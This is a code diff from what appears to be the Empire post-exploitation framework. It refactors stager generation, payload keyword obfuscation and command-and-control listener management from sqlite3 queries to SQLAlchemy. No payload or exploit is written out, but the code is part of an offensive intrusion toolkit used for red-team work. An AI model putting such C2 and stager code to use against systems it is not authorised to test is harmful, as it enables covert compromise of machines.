44434398 "Tab-complete an Empire PowerShell module path."
44444399 return self.mainMenu.complete_usemodule(text, line, begidx, endidx)
4445
4446
4400
44474401 def complete_creds(self, text, line, begidx, endidx):
44484402 "Tab-complete 'creds' commands."
44494403 return self.mainMenu.complete_creds(text, line, begidx, endidx)
4450
4451
4404
44524405 def complete_interact(self, text, line, begidx, endidx):
44534406 "Tab-complete an interact command"
4454
4407
44554408 names = self.mainMenu.agents.get_agent_names_db()
4456
4409
44574410 mline = line.partition(' ')[2]
44584411 offs = len(mline) - len(text)
44594412 return [s[offs:] for s in names if s.startswith(mline)]
44634416 """
44644417 The main class used by Empire to drive the 'stager' menu.
44654418 """
4419
44664420 def __init__(self, mainMenu, stagerName, listener=None):
44674421 SubMenu.__init__(self, mainMenu)
44684422 self.doc_header = 'Stager Menu'
4469
4423
44704424 # get the current stager name
44714425 self.stagerName = stagerName
44724426 self.stager = self.mainMenu.stagers.stagers[stagerName]
4473
4427
44744428 # set the prompt text
44754429 self.prompt = '(Empire: ' + helpers.color("stager/" + self.stagerName, color="blue") + ') > '
4476
4430
44774431 # if this menu is being called from an listener menu
44784432 if listener:
44794433 # resolve the listener ID to a name, if applicable
44804434 listener = self.mainMenu.listeners.get_listener(listener)
44814435 self.stager.options['Listener']['Value'] = listener
4482
4436
44834437 def validate_options(self):
44844438 "Make sure all required stager options are completed."
4485
4439
44864440 for option, values in self.stager.options.items():
44874441 if values['Required'] and ((not values['Value']) or (values['Value'] == '')):
44884442 print(helpers.color("[!] Error: Required stager option missing."))
44894443 return False
4490
4444
44914445 listenerName = self.stager.options['Listener']['Value']
4492
4446
44934447 if not self.mainMenu.listeners.is_listener_valid(listenerName):
44944448 print(helpers.color("[!] Invalid listener ID or name."))
44954449 return False
4496
4450
44974451 return True
4498
4452
44994453 def do_list(self, line):
45004454 "Lists all active agents (or listeners)."
4501
4455
45024456 if line.lower().startswith("listeners"):
45034457 self.mainMenu.do_list("listeners " + str(' '.join(line.split(' ')[1:])))
45044458 elif line.lower().startswith("agents"):
45054459 self.mainMenu.do_list("agents " + str(' '.join(line.split(' ')[1:])))
45064460 else:
45074461 print(helpers.color("[!] Please use 'list [agents/listeners] <modifier>'."))
4508
4509
4462
45104463 def do_info(self, line):
45114464 "Display stager options."
45124465 messages.display_stager(self.stager)
4513
4514
4466
45154467 def do_options(self, line):
45164468 "Display stager options."
45174469 messages.display_stager(self.stager)
4518
4519
4470
45204471 def do_set(self, line):
45214472 "Set a stager option."
4522
4473
45234474 parts = line.split()
4524
4475
45254476 try:
45264477 option = parts[0]
45274478 if option not in self.stager.options:
45284479 print(helpers.color("[!] Invalid option specified."))
4529
4480
45304481 elif len(parts) == 1:
45314482 # "set OPTION"
45324483 # check if we're setting a switch
45384489 # otherwise "set OPTION VALUE"
45394490 option = parts[0]
45404491 value = ' '.join(parts[1:])
4541
4492
45424493 if value == '""' or value == "''":
45434494 value = ""
4544
4495
45454496 self.stager.options[option]['Value'] = value
45464497 except:
45474498 print(helpers.color("[!] Error in setting option, likely invalid option name."))
4548
4549
4499
45504500 def do_unset(self, line):
45514501 "Unset a stager option."
4552
4502
45534503 option = line.split()[0]
4554
4504
45554505 if line.lower() == "all":
45564506 for option in self.stager.options:
45574507 self.stager.options[option]['Value'] = ''
45594509 print(helpers.color("[!] Invalid option specified."))
45604510 else:
45614511 self.stager.options[option]['Value'] = ''
4562
4563
4512
45644513 def do_generate(self, line):
45654514 "Generate/execute the given Empire stager."
45664515 if not self.validate_options():
45674516 return
45684517
45694518 stagerOutput = self.stager.generate()
4570
4519
45714520 savePath = ''
45724521 if 'OutFile' in self.stager.options:
45734522 savePath = self.stager.options['OutFile']['Value']
4574
4523
45754524 if savePath != '':
45764525 # make the base directory if it doesn't exist
45774526 if not os.path.exists(os.path.dirname(savePath)) and os.path.dirname(savePath) != '':
45784527 os.makedirs(os.path.dirname(savePath))
4579
4528
45804529 # if we need to write binary output for a .dll
45814530 if ".dll" or ".bin" in savePath:
45824531 out_file = open(savePath, 'wb')
45934542
45944543 out_file.write(stagerOutput)
45954544 out_file.close()
4596
4545
45974546 # if this is a bash script, make it executable
45984547 if ".sh" in savePath:
45994548 os.chmod(savePath, 777)
4600
4549
46014550 print("\n" + helpers.color("[*] Stager output written out to: %s\n" % (savePath)))
46024551 # dispatch this event
46034552 message = "[*] Generated stager"
46094558 dispatcher.send(signal, sender="empire")
46104559 else:
46114560 print(stagerOutput)
4612
4613
4561
46144562 def do_execute(self, line):
46154563 "Generate/execute the given Empire stager."
46164564 self.do_generate(line)
4617
4618
4565
46194566 def do_interact(self, line):
46204567 "Interact with a particular agent."
4621
4568
46224569 name = line.strip()
4623
4570
46244571 if name != "" and self.mainMenu.agents.is_agent_present(name):
46254572 # resolve the passed name to a sessionID
46264573 sessionID = self.mainMenu.agents.get_agent_id_db(name)
4627
4574
46284575 agent_menu = AgentMenu(self.mainMenu, sessionID)
46294576 else:
46304577 print(helpers.color("[!] Please enter a valid agent name"))
4631
4632
4578
46334579 def complete_set(self, text, line, begidx, endidx):
46344580 "Tab-complete a stager option to set."
4635
4581
46364582 options = list(self.stager.options.keys())
4637
4583
46384584 if line.split(' ')[1].lower() == "listener":
46394585 # if we're tab-completing a listener name, return all the names
46404586 listenerNames = self.mainMenu.listeners.get_listener_names()
46414587 end_line = ' '.join(line.split(' ')[1:])
4642
4588
46434589 mline = end_line.partition(' ')[2]
46444590 offs = len(mline) - len(text)
46454591 return [s[offs:] for s in listenerNames if s.startswith(mline)]
46494595 mline = end_line.partition(' ')[2]
46504596 offs = len(mline) - len(text)
46514597 return [s[offs:] for s in languages if s.startswith(mline)]
4652
4598
46534599 elif line.split(' ')[1].lower().endswith("path"):
46544600 # tab-complete any stager option that ends with 'path'
46554601 return helpers.complete_path(text, line, arg=True)
4656
4602
46574603 # otherwise we're tab-completing an option name
46584604 mline = line.partition(' ')[2]
46594605 offs = len(mline) - len(text)
46604606 return [s[offs:] for s in options if s.startswith(mline)]
4661
4662
4607
46634608 def complete_unset(self, text, line, begidx, endidx):
46644609 "Tab-complete a stager option to unset."
4665
4610
46664611 options = list(self.stager.options.keys()) + ["all"]
4667
4612
46684613 mline = line.partition(' ')[2]
46694614 offs = len(mline) - len(text)
46704615 return [s[offs:] for s in options if s.startswith(mline)]
4671
4672
4616
46734617 def complete_interact(self, text, line, begidx, endidx):
46744618 "Tab-complete an interact command"
4675
4619
46764620 names = self.mainMenu.agents.get_agent_names_db()
4677
4621
46784622 mline = line.partition(' ')[2]
46794623 offs = len(mline) - len(text)
46804624 return [s[offs:] for s in names if s.startswith(mline)]
77 import json
88
99 from pydispatch import dispatcher
10 from lib.database.base import Session
11 from lib.database import models
1012
11 #from lib.common import db # used in the disabled TODO below
13
14 # from lib.common import db # used in the disabled TODO below
1215
1316 ################################################################################
1417 # Helper functions for logging common events
2932 'message': message,
3033 'old_name': old_name,
3134 'new_name': new_name,
32 'event_type' : 'rename'
35 'event_type': 'rename'
3336 })
3437 # signal twice, once for each name (that way, if you search by sender,
3538 # the last thing in the old agent and the first thing in the new is that
3841 dispatcher.send(signal, sender="agents/{}".format(new_name))
3942
4043 # TODO rename all events left over using agent's old name?
41 # in order to handle "agents/<name>" as well as "agents/<name>/stuff"
42 # we'll need to query, iterate the list to build replacements, then send
43 # a bunch of updates... kind of a pain
4444
45 #cur = db.cursor()
46 #cur.execute("UPDATE reporting SET name=? WHERE name REGEXP ?", [new_name, old_sender])
47 #cur.close()
4845
49 def log_event(cur, name, event_type, message, timestamp, task_id=None):
46 def log_event(name, event_type, message, timestamp, task_id=None):
5047 """
5148 Log arbitrary events
5249
6259 task_id - the ID of the task this event is in relation to. Enables quick
6360 queries of an agent's task and its result together.
6461 """
65 cur.execute(
66 "INSERT INTO reporting (name, event_type, message, timestamp, taskID) VALUES (?,?,?,?,?)",
67 (
68 name,
69 event_type,
70 message,
71 timestamp,
72 task_id
73 )
74 )
62 Session().add(models.Reporting(name=name,
63 event_type=event_type,
64 message=message,
65 timestamp=timestamp,
66 taskID=task_id))
67 Session().commit()
6969 import datetime
7070
7171 from datetime import datetime, timezone
72 from lib.database.base import Session
73 from lib.database import models
7274
7375 ###############################################################
7476 #
272274
273275
274276 def keyword_obfuscation(data):
275 conn = sqlite3.connect('./data/empire.db', check_same_thread=False)
276 conn.isolation_level = None
277 conn.row_factory = None
278 cur = conn.cursor()
279 cur.execute("SELECT * FROM functions")
280 for replacement in cur.fetchall():
281 data = data.replace(replacement[0], replacement[1])
282 cur.close()
283 conn.close()
277 functions = Session().query(models.Function).all()
278
279 for function in functions:
280 data = data.replace(function.keyword, function.replacement)
284281
285282 return data
286283
601598 Fields should be comma separated.
602599 i.e. 'version,install_path'
603600 """
604
605 conn = sqlite3.connect('./data/empire.db', check_same_thread=False)
606 conn.isolation_level = None
607
608 cur = conn.cursor()
609
610 # Check if there is a new field not in the database
611 columns = [i[1] for i in cur.execute('PRAGMA table_info(config)')]
601 results = []
602 config = Session().query(models.Config).first()
603
612604 for field in fields.split(','):
613 if field.strip() not in columns:
614 cur.execute("ALTER TABLE config ADD COLUMN %s BLOB" % (field))
615
616 cur.execute("SELECT %s FROM config" % (fields))
617 results = cur.fetchone()
618 cur.close()
619 conn.close()
605 results.append(config[field.strip()])
620606
621607 return results
622608
623609
624 def get_listener_options(listenerName):
610 def get_listener_options(listener_name):
625611 """
626612 Returns the options for a specified listenername from the database outside
627613 of the normal menu execution.
628614 """
629615 try:
630 conn = sqlite3.connect('./data/empire.db', check_same_thread=False)
631 conn.isolation_level = None
632 conn.row_factory = dict_factory
633 cur = conn.cursor()
634 cur.execute("SELECT options FROM listeners WHERE name = ?", [listenerName])
635 result = cur.fetchone()
636 cur.close()
637 conn.close()
638 return pickle.loads(result['options'])
616 listener_options = Session().query(models.Listener.options).filter(models.Listener.name == listener_name).first()
617 return listener_options
618
639619 except Exception:
640620 return None
641621
765745 return string
766746
767747
768 def is_stale(lastseen : datetime, delay: int, jitter: float):
748 def is_stale(lastseen: datetime, delay: int, jitter: float):
769749 """Convenience function for calculating staleness"""
770750 interval_max = (delay + delay * jitter) + 30
771751 diff = getutcnow() - lastseen
773753 return stale
774754
775755
776 def lastseen(stamp, delay, jitter):
756 def lastseen(stamp: datetime, delay, jitter):
777757 """
778758 Colorize the Last Seen field based on measured delays
779759 """
780760 try:
781 if "T" in stamp:
782 stamp_date = datetime.strptime(stamp, "%Y-%m-%dT%H:%M:%S.%f%z").astimezone(tz=None) # Display local
783 else:
784 stamp_date = datetime.strptime(stamp, "%Y-%m-%d %H:%M:%S.%f%z").astimezone(tz=None) # Display local
785
786 stamp_display_local = stamp_date.strftime('%Y-%m-%d %H:%M:%S')
787 delta = getutcnow() - stamp_date
761 stamp_display_local = stamp.strftime('%Y-%m-%d %H:%M:%S')
762 delta = getutcnow() - stamp
788763
789764 # Set min threshold for delay/jitter
790765 if delay < 1:
929904 print(color("[!] PowerShell is not installed and is required to use obfuscation, please install it first."))
930905 return ""
931906 # When obfuscating large scripts, command line length is too long. Need to save to temp file
932 toObfuscateFilename = installPath + "data/misc/ToObfuscate.ps1"
933 obfuscatedFilename = installPath + "data/misc/Obfuscated.ps1"
907 toObfuscateFilename = installPath + "/data/misc/ToObfuscate.ps1"
908 obfuscatedFilename = installPath + "/data/misc/Obfuscated.ps1"
934909 toObfuscateFile = open(toObfuscateFilename, 'w')
935910 toObfuscateFile.write(psScript)
936911 toObfuscateFile.close()
0
10 """
21
32 Listener handling functionality for Empire.
1716 from builtins import filter
1817 from builtins import object
1918 from builtins import str
20
19 from lib.database.base import Session
20 from lib.database import models
21 from sqlalchemy import or_, and_
2122 from pydispatch import dispatcher
2223
2324 from . import helpers
3233
3334 self.mainMenu = main_menu
3435 self.args = args
35 self.conn = main_menu.conn
3636
3737 # loaded listener format:
3838 # {"listenerModuleName": moduleInstance, ...}
4444
4545 self.load_listeners()
4646 self.start_existing_listeners()
47
4847
4948 def load_listeners(self):
5049 """
108107 if not value.startswith('http'):
109108 parts = value.split(':')
110109 # if there's a current ssl cert path set, assume this is https
111 if ('CertPath' in listenerObject.options) and (listenerObject.options['CertPath']['Value'] != ''):
110 if ('CertPath' in listenerObject.options) and (
111 listenerObject.options['CertPath']['Value'] != ''):
112112 protocol = 'https'
113113 defaultPort = 443
114114 else:
127127 protocol = 'http'
128128 defaultPort = 80
129129
130
131 ##################################################################################################################################
130 ##################################################################################################################################
132131 # Added functionality to Port
133132 # Unsure if this section is needed
134133 if len(parts) != 1 and parts[-1].isdigit():
138137 listenerObject.options['Port']['Value'] = parts[-1]
139138 elif listenerObject.options['Port']['Value'] != '':
140139 # otherwise, check if the port value was manually set
141 listenerObject.options['Host']['Value'] = "%s://%s:%s" % (protocol, value, listenerObject.options['Port']['Value'])
140 listenerObject.options['Host']['Value'] = "%s://%s:%s" % (
141 protocol, value, listenerObject.options['Port']['Value'])
142142 else:
143143 # otherwise use default port
144144 listenerObject.options['Host']['Value'] = "%s://%s" % (protocol, value)
145145 if listenerObject.options['Port']['Value'] == '':
146146 listenerObject.options['Port']['Value'] = defaultPort
147 ###################################################################################################################################
147 ###################################################################################################################################
148148 return True
149149
150150 elif option == 'CertPath':
152152 host = listenerObject.options['Host']['Value']
153153 # if we're setting a SSL cert path, but the host is specific at http
154154 if host.startswith('http:'):
155 listenerObject.options['Host']['Value'] = listenerObject.options['Host']['Value'].replace('http:', 'https:')
155 listenerObject.options['Host']['Value'] = listenerObject.options['Host']['Value'].replace(
156 'http:', 'https:')
156157 return True
157158
158159 if option == 'Port':
163164 address = parts[8:]
164165 address = ''.join(address.split(':')[0])
165166 protocol = "https"
166 listenerObject.options['Host']['Value'] = "%s://%s:%s" % (protocol, address, listenerObject.options['Port']['Value'])
167 listenerObject.options['Host']['Value'] = "%s://%s:%s" % (
168 protocol, address, listenerObject.options['Port']['Value'])
167169 elif parts.startswith('http'):
168170 address = parts[7:]
169171 address = ''.join(address.split(':')[0])
170172 protocol = "http"
171 listenerObject.options['Host']['Value'] = "%s://%s:%s" % (protocol, address, listenerObject.options['Port']['Value'])
173 listenerObject.options['Host']['Value'] = "%s://%s:%s" % (
174 protocol, address, listenerObject.options['Port']['Value'])
172175 return True
173176
174177 elif option == 'StagingKey':
176179 value = str(value).strip()
177180 if len(value) != 32:
178181 stagingKeyHash = hashlib.md5(value.encode('UTF-8')).hexdigest()
179 print(helpers.color('[!] Warning: staging key not 32 characters, using hash of staging key instead: %s' % (stagingKeyHash)))
182 print(helpers.color(
183 '[!] Warning: staging key not 32 characters, using hash of staging key instead: %s' % (
184 stagingKeyHash)))
180185 listenerObject.options[option]['Value'] = stagingKeyHash
181186 else:
182187 listenerObject.options[option]['Value'] = str(value)
194199
195200 return True
196201
197 # if parts[0].lower() == 'defaultprofile' and os.path.exists(parts[1]):
198 # try:
199 # open_file = open(parts[1], 'r')
200 # profile_data_raw = open_file.readlines()
201 # open_file.close()
202
203 # profile_data = [l for l in profile_data_raw if not l.startswith('#' and l.strip() != '')]
204 # profile_data = profile_data[0].strip("\"")
205
206 # self.mainMenu.listeners.set_listener_option(parts[0], profile_data)
207
208 # except Exception:
209 # print helpers.color("[!] Error opening profile file %s" % (parts[1]))
202 # if parts[0].lower() == 'defaultprofile' and os.path.exists(parts[1]):
203 # try:
204 # open_file = open(parts[1], 'r')
205 # profile_data_raw = open_file.readlines()
206 # open_file.close()
207
208 # profile_data = [l for l in profile_data_raw if not l.startswith('#' and l.strip() != '')]
209 # profile_data = profile_data[0].strip("\"")
210
211 # self.mainMenu.listeners.set_listener_option(parts[0], profile_data)
212
213 # except Exception:
214 # print helpers.color("[!] Error opening profile file %s" % (parts[1]))
210215
211216 else:
212217 print(helpers.color('[!] Error: invalid option name'))
213218 return False
214219
215
216 def start_listener(self, moduleName, listenerObject):
220 def start_listener(self, module_name, listener_object):
217221 """
218222 Takes a listener module object, starts the listener, adds the listener to the database, and
219223 adds the listener to the current listener cache.
220224 """
221225
222 category = listenerObject.info['Category']
223 name = listenerObject.options['Name']['Value']
224 nameBase = name
226 category = listener_object.info['Category']
227 name = listener_object.options['Name']['Value']
228 name_base = name
225229
226230 if isinstance(name, bytes):
227231 name = name.decode('UTF-8')
228232
229 if not listenerObject.validate_options():
233 if not listener_object.validate_options():
230234 return
231235
232236 i = 1
233237 while name in list(self.activeListeners.keys()):
234 name = "%s%s" % (nameBase, i)
235
236 listenerObject.options['Name']['Value'] = name
238 name = "%s%s" % (name_base, i)
239
240 listener_object.options['Name']['Value'] = name
237241
238242 try:
239243 print(helpers.color("[*] Starting listener '%s'" % (name)))
240 success = listenerObject.start(name=name)
244 success = listener_object.start(name=name)
241245
242246 if success:
243 listenerOptions = copy.deepcopy(listenerObject.options)
244 self.activeListeners[name] = {'moduleName': moduleName, 'options':listenerOptions}
245 pickledOptions = pickle.dumps(listenerObject.options)
246 cur = self.conn.cursor()
247 cur.execute("INSERT INTO listeners (name, module, listener_category, enabled, options, created_at) VALUES (?,?,?,?,?, ?)", [name, moduleName, category, True, pickledOptions, helpers.getutcnow()])
248 cur.close()
247 listener_options = copy.deepcopy(listener_object.options)
248 self.activeListeners[name] = {'moduleName': module_name, 'options': listener_options}
249
250 Session().add(models.Listener(name=name,
251 module=module_name,
252 listener_category=category,
253 enabled=True,
254 options=listener_options,
255 created_at=helpers.getutcnow()
256 ))
257 Session().commit()
249258
250259 # dispatch this event
251260 message = "[+] Listener successfully started!"
252261 signal = json.dumps({
253262 'print': True,
254263 'message': message,
255 'listener_options': listenerOptions
264 'listener_options': listener_options
256265 })
257 dispatcher.send(signal, sender="listeners/{}/{}".format(moduleName, name))
266 dispatcher.send(signal, sender="listeners/{}/{}".format(module_name, name))
258267 self.activeListeners[name]['name'] = name
259268
260269 # TODO: listeners should not have their default options rewritten in memory after generation
261 if moduleName == 'redirector':
262 self.default_listener_options(moduleName)
270 if module_name == 'redirector':
271 self.default_listener_options(module_name)
263272
264273 if self.mainMenu.socketio:
265274 self.mainMenu.socketio.emit('listeners/new', self.get_listener_for_socket(name), broadcast=True)
272281 print(helpers.color("[!] Error starting listener: %s" % (e)))
273282
274283 def get_listener_for_socket(self, name):
275 cur = self.conn.cursor()
276 cur.execute('''
277 SELECT id, name, module, listener_type, listener_category, options, created_at
278 FROM listeners WHERE name = ?
279 ''', [name])
280 listener = cur.fetchone()
281 [ID, name, module, listener_type, listener_category, options, created_at] = listener
282 return {'ID': ID, 'name': name, 'module': module, 'listener_type': listener_type,
283 'listener_category': listener_category, 'options': pickle.loads(options),
284 'created_at': created_at}
284 listener = Session().query(models.Listener).filter(models.Listener.name == name).first()
285
286 return {'ID': listener.id, 'name': listener.name, 'module': listener.module,
287 'listener_type': listener.listener_type,
288 'listener_category': listener.listener_category, 'options': listener.options,
289 'created_at': listener.created_at}
285290
286291 def start_existing_listeners(self):
287292 """
288293 Startup any listeners that are currently in the database.
289294 """
290 oldFactory = self.conn.row_factory
291 self.conn.row_factory = helpers.dict_factory
292 cur = self.conn.cursor()
293 cur.execute("SELECT id,name,module,listener_type,listener_category,options FROM listeners WHERE enabled=?", [True])
294 results = cur.fetchall()
295 cur.close()
296
297 for result in results:
298 listenerName = result['name']
299 moduleName = result['module']
300 nameBase = listenerName
301
295 listeners = Session().query(models.Listener).filter(models.Listener.enabled == True).all()
296
297 for listener in listeners:
298 listener_name = listener.name
299 module_name = listener.module
300 name_base = listener_name
301 options = listener.options
302302
303303 i = 1
304 while listenerName in list(self.activeListeners.keys()):
305 listenerName = "%s%s" % (nameBase, i)
306
307 # unpickle all the listener options
308 options = pickle.loads(result['options'])
304 while listener_name in list(self.activeListeners.keys()):
305 listener_name = "%s%s" % (name_base, i)
309306
310307 try:
311 listenerModule = self.loadedListeners[moduleName]
308 listener_module = self.loadedListeners[module_name]
312309
313310 for option, value in options.items():
314 listenerModule.options[option] = value
315
316 print(helpers.color("[*] Starting listener '%s'" % (listenerName)))
317 if moduleName == 'redirector':
311 listener_module.options[option] = value
312
313 print(helpers.color("[*] Starting listener '%s'" % listener_name))
314 if module_name == 'redirector':
318315 success = True
319316 else:
320 success = listenerModule.start(name=listenerName)
317 success = listener_module.start(name=listener_name)
321318
322319 if success:
323 listenerOptions = copy.deepcopy(listenerModule.options)
324 self.activeListeners[listenerName] = {'moduleName': moduleName, 'options':listenerOptions}
320 listener_options = copy.deepcopy(listener_module.options)
321 self.activeListeners[listener_name] = {'moduleName': module_name, 'options': listener_options}
325322 # dispatch this event
326323 message = "[+] Listener successfully started!"
327324 signal = json.dumps({
328325 'print': True,
329326 'message': message,
330 'listener_options': listenerOptions
327 'listener_options': listener_options
331328 })
332 dispatcher.send(signal, sender="listeners/{}/{}".format(moduleName, listenerName))
329 dispatcher.send(signal, sender="listeners/{}/{}".format(module_name, listener_name))
333330 else:
334331 print(helpers.color('[!] Listener failed to start!'))
335332
336333 except Exception as e:
337 if listenerName in self.activeListeners:
338 del self.activeListeners[listenerName]
339 print(helpers.color("[!] Error starting listener: %s" % (e)))
340
341 self.conn.row_factory = oldFactory
342
343 def enable_listener(self, listenerName):
344 "Starts an existing listener and sets it to enabled"
345 if listenerName in list(self.activeListeners.keys()):
334 if listener_name in self.activeListeners:
335 del self.activeListeners[listener_name]
336 print(helpers.color("[!] Error starting listener: %s" % e))
337
338 def enable_listener(self, listener_name):
339 """
340 Starts an existing listener and sets it to enabled
341 """
342 if listener_name in list(self.activeListeners.keys()):
346343 print(helpers.color("[!] Listener already running!"))
347344 return False
348345
349 oldFactory = self.conn.row_factory
350 self.conn.row_factory = helpers.dict_factory
351 cur = self.conn.cursor()
352 cur.execute("SELECT id,name,module,listener_type,listener_category,options FROM listeners WHERE name=?", [listenerName])
353 result = cur.fetchone()
346 result = Session().query(models.Listener).filter(models.Listener.name == listener_name).first()
347
354348 if not result:
355 print(helpers.color("[!] Listener %s doesn't exist!" % listenerName))
349 print(helpers.color("[!] Listener %s doesn't exist!" % listener_name))
356350 return False
357 moduleName = result['module']
358 options = pickle.loads(result['options'])
351 module_name = result['module']
352 options = result['options']
353
359354 try:
360 listenerModule = self.loadedListeners[moduleName]
355 listener_module = self.loadedListeners[module_name]
361356
362357 for option, value in options.items():
363 listenerModule.options[option] = value
364
365 print(helpers.color("[*] Starting listener '%s'" % (listenerName)))
366 if moduleName == 'redirector':
358 listener_module.options[option] = value
359
360 print(helpers.color("[*] Starting listener '%s'" % listener_name))
361 if module_name == 'redirector':
367362 success = True
368363 else:
369 success = listenerModule.start(name=listenerName)
364 success = listener_module.start(name=listener_name)
370365
371366 if success:
372367 print(helpers.color('[+] Listener successfully started!'))
373 listenerOptions = copy.deepcopy(listenerModule.options)
374 self.activeListeners[listenerName] = {'moduleName': moduleName, 'options': listenerOptions}
375 cur.execute("UPDATE listeners SET enabled=? WHERE name=? AND NOT module=?", [True, listenerName, 'redirector'])
368 listener_options = copy.deepcopy(listener_module.options)
369 self.activeListeners[listener_name] = {'moduleName': module_name, 'options': listener_options}
370
371 listener = Session().query(models.Listener).filter(
372 and_(models.Listener.name == listener_name, models.Listener.module != 'redirector')).first()
373 listener.enabled = True
374 Session().commit()
376375 else:
377376 print(helpers.color('[!] Listener failed to start!'))
378377 except Exception as e:
379378 traceback.print_exc()
380 if listenerName in self.activeListeners:
381 del self.activeListeners[listenerName]
382 print(helpers.color("[!] Error starting listener: %s" % (e)))
383
384 cur.close()
385 self.conn.row_factory = oldFactory
386
387
388 def kill_listener(self, listenerName):
379 if listener_name in self.activeListeners:
380 del self.activeListeners[listener_name]
381 print(helpers.color("[!] Error starting listener: %s" % e))
382
383 def kill_listener(self, listener_name):
389384 """
390385 Shut down the server associated with a listenerName and delete the
391386 listener from the database.
392387
393388 To kill all listeners, use listenerName == 'all'
389 """
390
391 if listener_name.lower() == 'all':
392 listener_names = list(self.activeListeners.keys())
393 else:
394 listener_names = [listener_name]
395
396 for listener_name in listener_names:
397 if listener_name not in self.activeListeners:
398 print(helpers.color("[!] Listener '%s' not active!" % (listener_name)))
399 return False
400 listener = Session().query(models.Listener).filter(models.Listener.name == listener_name).first()
401
402 # shut down the listener and remove it from the cache
403 if self.mainMenu.listeners.get_listener_module(listener_name) == 'redirector':
404 del self.activeListeners[listener_name]
405 Session().delete(listener)
406 continue
407
408 self.shutdown_listener(listener_name)
409
410 # remove the listener from the database
411 Session().delete(listener)
412 Session().commit()
413
414 def delete_listener(self, listener_name):
415 """
416 Delete listener(s) from database.
417 """
418
419 try:
420 listeners = Session().query(models.Listener).all()
421
422 db_names = [x['name'] for x in listeners]
423 if listener_name.lower() == "all":
424 names = db_names
425 else:
426 names = [listener_name]
427
428 for name in names:
429 if not name in db_names:
430 print(helpers.color("[!] Listener '%s' does not exist!" % name))
431 return False
432
433 if name in list(self.activeListeners.keys()):
434 self.shutdown_listener(name)
435
436 listener = Session().query(models.Listener).filter(models.Listener.name == name).first()
437 Session().delete(listener)
438 Session().commit()
439
440 except Exception as e:
441 print(helpers.color("[!] Error deleting listener '%s'" % name))
442
443 def shutdown_listener(self, listenerName):
444 """
445 Shut down the server associated with a listenerName, but DON'T
446 delete it from the database.
394447 """
395448
396449 if listenerName.lower() == 'all':
400453
401454 for listenerName in listenerNames:
402455 if listenerName not in self.activeListeners:
403 print(helpers.color("[!] Listener '%s' not active!" % (listenerName)))
404 return False
405
406 # shut down the listener and remove it from the cache
407 if self.mainMenu.listeners.get_listener_module(listenerName) == 'redirector':
408 # remove the listener object from the internal cache
409 del self.activeListeners[listenerName]
410 self.conn.row_factory = None
411 cur = self.conn.cursor()
412 cur.execute("DELETE FROM listeners WHERE name=?", [listenerName])
413 cur.close()
414 continue
415
416 self.shutdown_listener(listenerName)
417
418 # remove the listener from the database
419 self.conn.row_factory = None
420 cur = self.conn.cursor()
421 cur.execute("DELETE FROM listeners WHERE name=?", [listenerName])
422 cur.close()
423
424 def delete_listener(self, listener_name):
425 """
426 Delete listener(s) from database.
427 """
428
429 try:
430 old_factory = self.conn.row_factory
431 self.conn.row_factory = helpers.dict_factory
432 cur = self.conn.cursor()
433 cur.execute("SELECT name FROM listeners")
434 db_names = [x['name'] for x in cur.fetchall()]
435 if listener_name.lower() == "all":
436 names = db_names
437 else:
438 names = [listener_name]
439
440 for name in names:
441 if not name in db_names:
442 print(helpers.color("[!] Listener '%s' does not exist!" % name))
443 return False
444
445 if name in list(self.activeListeners.keys()):
446 self.shutdown_listener(name)
447 cur.execute("DELETE FROM listeners WHERE name=?", [name])
448
449 except Exception as e:
450 print(helpers.color("[!] Error deleting listener '%s'" % name))
451
452 cur.close()
453 self.conn.row_factory = old_factory
454
455 def shutdown_listener(self, listenerName):
456 """
457 Shut down the server associated with a listenerName, but DON'T
458 delete it from the database.
459 """
460
461 if listenerName.lower() == 'all':
462 listenerNames = list(self.activeListeners.keys())
463 else:
464 listenerNames = [listenerName]
465
466 for listenerName in listenerNames:
467 if listenerName not in self.activeListeners:
468456 print(helpers.color("[!] Listener '%s' doesn't exist!" % (listenerName)))
469457 return False
470458
473461 activeListenerModule = self.loadedListeners[activeListenerModuleName]
474462
475463 if activeListenerModuleName == 'redirector':
476 print(helpers.color("[!] skipping redirector listener %s. Start/Stop actions can only initiated by the user." % (listenerName)))
464 print(helpers.color(
465 "[!] skipping redirector listener %s. Start/Stop actions can only initiated by the user." % (
466 listenerName)))
477467 continue
478468
479469 # signal the listener module to shut down the thread for this particular listener instance
482472 # remove the listener object from the internal cache
483473 del self.activeListeners[listenerName]
484474
485 def disable_listener(self, listenerName):
486 "Wrapper for shutdown_listener(), also marks listener as 'disabled' so it won't autostart"
487
488 activeListenerModuleName = self.activeListeners[listenerName]['moduleName']
489 cur = self.conn.cursor()
490 if listenerName.lower() == "all":
491 cur.execute("UPDATE listeners SET enabled=? WHERE NOT module=?", [False, "redirector"])
492 else:
493 cur.execute("UPDATE listeners SET enabled=? WHERE name=? AND NOT module=?", [False, listenerName.lower(), "redirector"])
494 cur.close()
495 self.shutdown_listener(listenerName)
475 def disable_listener(self, listener_name):
476 """
477 Wrapper for shutdown_listener(), also marks listener as 'disabled' so it won't autostart
478 """
479 active_listener_module_name = self.activeListeners[listener_name]['moduleName']
480
481 listener = Session().query(models.Listener).filter(
482 and_(models.Listener.name == listener_name.lower(), models.Listener.module != 'redirector')).first()
483 listener.enabled = False
484
485 self.shutdown_listener(listener_name)
486 Session.commit()
487
496488 # dispatch this event
497 message = "[*] Listener {} killed".format(listenerName)
489 message = "[*] Listener {} killed".format(listener_name)
498490 signal = json.dumps({
499491 'print': True,
500492 'message': message
501493 })
502 dispatcher.send(signal, sender="listeners/{}/{}".format(activeListenerModuleName, listenerName))
503
494 dispatcher.send(signal, sender="listeners/{}/{}".format(active_listener_module_name, listener_name))
504495
505496 def is_listener_valid(self, name):
506497 return name in self.activeListeners
507498
508
509499 def get_listener_id(self, name):
510500 """
511501 Resolve a name to listener ID.
512502 """
513 oldFactory = self.conn.row_factory
514 self.conn.row_factory = None
515 cur = self.conn.cursor()
516 cur.execute('SELECT id FROM listeners WHERE name=? or id=?', [name, name])
517 results = cur.fetchone()
518 cur.close()
519 self.conn.row_factory = oldFactory
503 results = Session().query(models.Listener.id).filter(
504 or_(models.Listener.name == name, models.Listener.id == name)).first()
520505
521506 if results:
522507 return results[0]
523508 else:
524509 return None
525510
526
527 def get_listener_name(self, listenerId):
511 def get_listener_name(self, listener_id):
528512 """
529513 Resolve a listener ID to a name.
530514 """
531 cur = self.conn.cursor()
532 cur.execute('SELECT name FROM listeners WHERE name=? or id=?', [listenerId, listenerId])
533 results = cur.fetchone()
534 cur.close()
515 results = Session().query(models.Listener.name).filter(
516 or_(models.Listener.name == listener_id, models.Listener.id == listener_id)).first()
535517
536518 if results:
537519 return results[0]
538520 else:
539521 return None
540522
